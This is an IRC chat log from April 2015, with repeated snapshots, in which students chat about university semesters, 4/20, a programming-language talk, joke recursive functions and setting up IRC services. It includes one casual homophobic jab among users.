[2015-04-03T12:58:30-0400] <JacobEdelman> which confuses him
[2015-04-03T12:58:34-0400] <JacobEdelman> :P
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[2015-04-03T13:33:04-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-03T10:49:54-0400] <LittleBobbyTables> z3t: what's you HF name, so I can camp you and call you a gay everywhere you go
[2015-04-03T10:50:31-0400] <z3t> I only post when I need to buy something, only good thing about that site is the marketplace
[2015-04-03T10:51:50-0400] <LittleBobbyTables> Meh, education nation is nice
[2015-04-03T10:52:01-0400] <LittleBobbyTables> A lot of the HS skiddies pay you for easy homework
[2015-04-03T10:53:50-0400] <z3t> interesting
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
[2015-04-03T12:50:06-0400] <JacobEdelman> awe: check your email
[2015-04-03T12:53:08-0400] <JacobEdelman> you know programming language theory is getting confusing when the function "Magic" is used
[2015-04-03T12:58:09-0400] <JacobEdelman> `I love this talk
[2015-04-03T12:58:18-0400] <JacobEdelman> the guy has no idea why his optimizer is so good
[2015-04-03T12:58:25-0400] <JacobEdelman> its like 5x better than manual encodings
[2015-04-03T12:58:30-0400] <JacobEdelman> which confuses him
[2015-04-03T12:58:34-0400] <JacobEdelman> :P
[2015-04-03T13:31:15-0400] <+awe> JacobEdelman: I saw. That's really, really cool.
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[2015-04-03T13:41:05-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-03T10:49:54-0400] <LittleBobbyTables> z3t: what's you HF name, so I can camp you and call you a gay everywhere you go
[2015-04-03T10:50:31-0400] <z3t> I only post when I need to buy something, only good thing about that site is the marketplace
[2015-04-03T10:51:50-0400] <LittleBobbyTables> Meh, education nation is nice
[2015-04-03T10:52:01-0400] <LittleBobbyTables> A lot of the HS skiddies pay you for easy homework
[2015-04-03T10:53:50-0400] <z3t> interesting
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
[2015-04-03T12:50:06-0400] <JacobEdelman> awe: check your email
[2015-04-03T12:53:08-0400] <JacobEdelman> you know programming language theory is getting confusing when the function "Magic" is used
[2015-04-03T12:58:09-0400] <JacobEdelman> `I love this talk
[2015-04-03T12:58:18-0400] <JacobEdelman> the guy has no idea why his optimizer is so good
[2015-04-03T12:58:25-0400] <JacobEdelman> its like 5x better than manual encodings
[2015-04-03T12:58:30-0400] <JacobEdelman> which confuses him
[2015-04-03T12:58:34-0400] <JacobEdelman> :P
[2015-04-03T13:31:15-0400] <+awe> JacobEdelman: I saw. That's really, really cool.
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[2015-04-03T10:49:54-0400] <LittleBobbyTables> z3t: what's you HF name, so I can camp you and call you a gay everywhere you go
[2015-04-03T10:50:31-0400] <z3t> I only post when I need to buy something, only good thing about that site is the marketplace
[2015-04-03T10:51:50-0400] <LittleBobbyTables> Meh, education nation is nice
[2015-04-03T10:52:01-0400] <LittleBobbyTables> A lot of the HS skiddies pay you for easy homework
[2015-04-03T10:53:50-0400] <z3t> interesting
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
[2015-04-03T12:50:06-0400] <JacobEdelman> awe: check your email
[2015-04-03T12:53:08-0400] <JacobEdelman> you know programming language theory is getting confusing when the function "Magic" is used
[2015-04-03T12:58:09-0400] <JacobEdelman> `I love this talk
[2015-04-03T12:58:18-0400] <JacobEdelman> the guy has no idea why his optimizer is so good
[2015-04-03T12:58:25-0400] <JacobEdelman> its like 5x better than manual encodings
[2015-04-03T12:58:30-0400] <JacobEdelman> which confuses him
[2015-04-03T12:58:34-0400] <JacobEdelman> :P
[2015-04-03T13:31:15-0400] <+awe> JacobEdelman: I saw. That's really, really cool.
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[2015-04-03T13:54:53-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-03T10:51:50-0400] <LittleBobbyTables> Meh, education nation is nice
[2015-04-03T10:52:01-0400] <LittleBobbyTables> A lot of the HS skiddies pay you for easy homework
[2015-04-03T10:53:50-0400] <z3t> interesting
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
[2015-04-03T12:50:06-0400] <JacobEdelman> awe: check your email
[2015-04-03T12:53:08-0400] <JacobEdelman> you know programming language theory is getting confusing when the function "Magic" is used
[2015-04-03T12:58:09-0400] <JacobEdelman> `I love this talk
[2015-04-03T12:58:18-0400] <JacobEdelman> the guy has no idea why his optimizer is so good
[2015-04-03T12:58:25-0400] <JacobEdelman> its like 5x better than manual encodings
[2015-04-03T12:58:30-0400] <JacobEdelman> which confuses him
[2015-04-03T12:58:34-0400] <JacobEdelman> :P
[2015-04-03T13:31:15-0400] <+awe> JacobEdelman: I saw. That's really, really cool.
[2015-04-03T13:49:47-0400] <fwilson> JacobEdelman: int whatsItDo(int mystery) { return mystery < 10 ? mystery + 5 : whatsItDo(mystery - 10 * 3); } 
[2015-04-03T13:49:50-0400] <fwilson> every AP exam ever
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[2015-04-03T13:55:58-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-03T10:51:50-0400] <LittleBobbyTables> Meh, education nation is nice
[2015-04-03T10:52:01-0400] <LittleBobbyTables> A lot of the HS skiddies pay you for easy homework
[2015-04-03T10:53:50-0400] <z3t> interesting
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
[2015-04-03T12:50:06-0400] <JacobEdelman> awe: check your email
[2015-04-03T12:53:08-0400] <JacobEdelman> you know programming language theory is getting confusing when the function "Magic" is used
[2015-04-03T12:58:09-0400] <JacobEdelman> `I love this talk
[2015-04-03T12:58:18-0400] <JacobEdelman> the guy has no idea why his optimizer is so good
[2015-04-03T12:58:25-0400] <JacobEdelman> its like 5x better than manual encodings
[2015-04-03T12:58:30-0400] <JacobEdelman> which confuses him
[2015-04-03T12:58:34-0400] <JacobEdelman> :P
[2015-04-03T13:31:15-0400] <+awe> JacobEdelman: I saw. That's really, really cool.
[2015-04-03T13:49:47-0400] <fwilson> JacobEdelman: int whatsItDo(int mystery) { return mystery < 10 ? mystery + 5 : whatsItDo(mystery - 10 * 3); } 
[2015-04-03T13:49:50-0400] <fwilson> every AP exam ever
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[2015-04-03T13:57:48-0400] <jwoglom> mystery!!!
[2015-04-03T14:16:49-0400] <fwilson> jwoglom: int recur() { return recur(); }
[2015-04-03T14:18:37-0400] <jwoglom> int mystery(int i) { if(i%365==23) return 1; return 3*mystery(i/6)+2; }
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[2015-04-03T14:25:07-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
[2015-04-03T12:50:06-0400] <JacobEdelman> awe: check your email
[2015-04-03T12:53:08-0400] <JacobEdelman> you know programming language theory is getting confusing when the function "Magic" is used
[2015-04-03T12:58:09-0400] <JacobEdelman> `I love this talk
[2015-04-03T12:58:18-0400] <JacobEdelman> the guy has no idea why his optimizer is so good
[2015-04-03T12:58:25-0400] <JacobEdelman> its like 5x better than manual encodings
[2015-04-03T12:58:30-0400] <JacobEdelman> which confuses him
[2015-04-03T12:58:34-0400] <JacobEdelman> :P
[2015-04-03T13:31:15-0400] <+awe> JacobEdelman: I saw. That's really, really cool.
[2015-04-03T13:49:47-0400] <fwilson> JacobEdelman: int whatsItDo(int mystery) { return mystery < 10 ? mystery + 5 : whatsItDo(mystery - 10 * 3); } 
[2015-04-03T13:49:50-0400] <fwilson> every AP exam ever
[2015-04-03T13:57:48-0400] <jwoglom> mystery!!!
[2015-04-03T14:16:48-0400] <fwilson> jwoglom: int recur() { return recur(); }
[2015-04-03T14:18:14-0400] <jwoglom> int mystery(int i) { if(i%365==23) return 1; return 3*mystery(i/6)+2; }
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[2015-04-03T14:26:09-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-03T11:20:50-0400] <+awe> JacobEdelman: lol, you're on Spring Break, and I'm done with school in three weeks.
[2015-04-03T11:20:56-0400] <alokpathy> :(
[2015-04-03T11:21:03-0400] • alokpathy: sobs
[2015-04-03T11:21:09-0400] <alokpathy> I wanna be done with school soon too
[2015-04-03T11:21:31-0400] <+awe> If you go to UMass, we have really short semesters. :p
[2015-04-03T11:21:50-0400] <alokpathy> Wait so your sem ends on April 24th?
[2015-04-03T11:22:18-0400] <+awe> Dangit, we have four weeks.
[2015-04-03T11:22:24-0400] <+awe> (And then finals)
[2015-04-03T11:23:04-0400] <+awe> Well, the last week is like a half week.
[2015-04-03T11:23:31-0400] <alokpathy> Oh so you end in the last week of April?
[2015-04-03T11:23:42-0400] <+awe> We end with the month of April, and the first week of May is finals.
[2015-04-03T11:23:55-0400] <alokpathy> I thought that was normal xD
[2015-04-03T11:24:15-0400] <+awe> Nah, schools usually end mid-May.
[2015-04-03T11:24:23-0400] <alokpathy> Ah okay
[2015-04-03T11:24:23-0400] <+awe> And start the second semester earlier than us.
[2015-04-03T11:24:29-0400] <alokpathy> Ah
[2015-04-03T11:24:38-0400] <alokpathy> Strange UMass xD
[2015-04-03T11:24:42-0400] <+awe> We only have 14 class meets per day of the week the class meets.
[2015-04-03T11:24:53-0400] <+awe> So, a once-a-week class, you'll only have 14 times.
[2015-04-03T11:25:32-0400] <+awe> Oh, right, the second to last week also isn't a full week.
[2015-04-03T11:25:34-0400] <+awe> We have the Monday off.
[2015-04-03T11:25:41-0400] <+awe> Because 4/20 day is a holiday.
[2015-04-03T11:25:50-0400] <alokpathy> Wait actually
[2015-04-03T11:25:51-0400] <jake> blazeit
[2015-04-03T11:26:06-0400] <+awe> Yeah! It's called Patriot's Day.
[2015-04-03T11:26:08-0400] <alokpathy> Is there a reason besides blazeit? :P
[2015-04-03T11:26:10-0400] <alokpathy> Oh
[2015-04-03T11:26:12-0400] <alokpathy> LOL
[2015-04-03T11:26:19-0400] <jwoglom> lol, nice
[2015-04-03T11:26:19-0400] <+awe> It's basically just an excuse because nobody wants to teach on 4/20 day though.
[2015-04-03T11:26:33-0400] <alokpathy> Understandably xD
[2015-04-03T11:27:19-0400] <+awe> Amherst hosts Extravaganja every year on that weekend, and it's the largest marijuana legalization festival in either the Northeast or the whole East coast. I forget.
[2015-04-03T11:28:00-0400] <Coast> the whole east ME
[2015-04-03T11:28:16-0400] <+awe> Coast: indeed.
[2015-04-03T11:28:20-0400] <+awe> Pic related: https://youtu.be/sifVwz5Nguc
[2015-04-03T11:28:38-0400] <Coast> eh I have nothing against such events but I'd never go
[2015-04-03T11:28:56-0400] <+awe> I also probably won't go.
[2015-04-03T12:50:06-0400] <JacobEdelman> awe: check your email
[2015-04-03T12:53:08-0400] <JacobEdelman> you know programming language theory is getting confusing when the function "Magic" is used
[2015-04-03T12:58:09-0400] <JacobEdelman> `I love this talk
[2015-04-03T12:58:18-0400] <JacobEdelman> the guy has no idea why his optimizer is so good
[2015-04-03T12:58:25-0400] <JacobEdelman> its like 5x better than manual encodings
[2015-04-03T12:58:30-0400] <JacobEdelman> which confuses him
[2015-04-03T12:58:34-0400] <JacobEdelman> :P
[2015-04-03T13:31:15-0400] <+awe> JacobEdelman: I saw. That's really, really cool.
[2015-04-03T13:49:47-0400] <fwilson> JacobEdelman: int whatsItDo(int mystery) { return mystery < 10 ? mystery + 5 : whatsItDo(mystery - 10 * 3); } 
[2015-04-03T13:49:50-0400] <fwilson> every AP exam ever
[2015-04-03T13:57:48-0400] <jwoglom> mystery!!!
[2015-04-03T14:16:48-0400] <fwilson> jwoglom: int recur() { return recur(); }
[2015-04-03T14:18:14-0400] <jwoglom> int mystery(int i) { if(i%365==23) return 1; return 3*mystery(i/6)+2; }
[2015-04-03T14:26:10-0400] Mode is +nt
[2015-04-03T14:28:10-0400] <fwilson> that.
[2015-04-03T14:28:25-0400] <fwilson> int willItTerminate(Callable dummy) { return 1; }
[2015-04-03T14:32:22-0400] <+awe> int willItBlend(MaybeBlendable thing) { return true; }
[2015-04-03T14:32:35-0400] <fwilson> Maybe<Maybe<Maybe<Maybe<Blendable>>>>
[2015-04-03T14:34:07-0400] <fwilson> no services here :(
[2015-04-03T14:34:13-0400] <fwilson> i keep forgetting that i can't use my hostname cloak for bot fun
[2015-04-03T14:34:23-0400] <+awe> Yarp.
[2015-04-03T14:35:27-0400] <jwoglom> maybe we should have services, awe? :P
[2015-04-03T14:35:32-0400] <+awe> Maybe.
[2015-04-03T14:37:54-0400] <+awe> Definitely not right now.
[2015-04-03T14:38:04-0400] <+awe> I'm trying to kill time before a meeting at 3:30.
[2015-04-03T14:38:17-0400] <fwilson> awe, that's plenty of time to set up services!
[2015-04-03T14:38:26-0400] <+awe> Nah.
[2015-04-03T14:38:29-0400] <+awe> I don't feel like it.
[2015-04-03T14:38:33-0400] <fwilson> lol
[2015-04-03T14:38:43-0400] <+awe> I'm outside, and so I have to squint to see my screen.
[2015-04-03T14:38:54-0400] <fwilson> lol
[2015-04-03T14:39:06-0400] <jwoglom> you should totally pull a fwilson here
[2015-04-03T14:39:07-0400] <jwoglom> and do it
[2015-04-03T14:39:10-0400] <fwilson> and set up services in 10 minutes
[2015-04-03T14:39:13-0400] <fwilson> and deploy to production
[2015-04-03T14:39:17-0400] <fwilson> without testing
[2015-04-03T14:39:20-0400] <jwoglom> exactly.
[2015-04-03T14:39:25-0400] <+awe> There isn't a test server.
[2015-04-03T14:39:26-0400] <fwilson> and watch as the network crashes and burns^W^W^W has services
[2015-04-03T14:39:28-0400] <+awe> There's only productive.
[2015-04-03T14:40:01-0400] <fwilson> :D
[2015-04-03T14:40:04-0400] <fwilson> testing in production!
[2015-04-03T14:40:08-0400] <jwoglom> production IS a test server, silly!
[2015-04-03T14:40:13-0400] <+awe> production, not productive.
[2015-04-03T14:40:16-0400] <+awe> I don't know why I wrote productive.
[2015-04-03T14:40:21-0400] <fwilson> jwoglom: lol iodine debug in production
[2015-04-03T14:40:34-0400] <jwoglom> fwilson: i do it occasionally :P
[2015-04-03T14:40:36-0400] <jwoglom> no one notices or cares
[2015-04-03T14:40:45-0400] <fwilson> lol
[2015-04-03T14:40:53-0400] <jwoglom> there should really be a ?showdebug=true sort of thing for iodine, honestly
[2015-04-03T14:40:58-0400] <fwilson> from: eighthoffice@tjhsst.edu
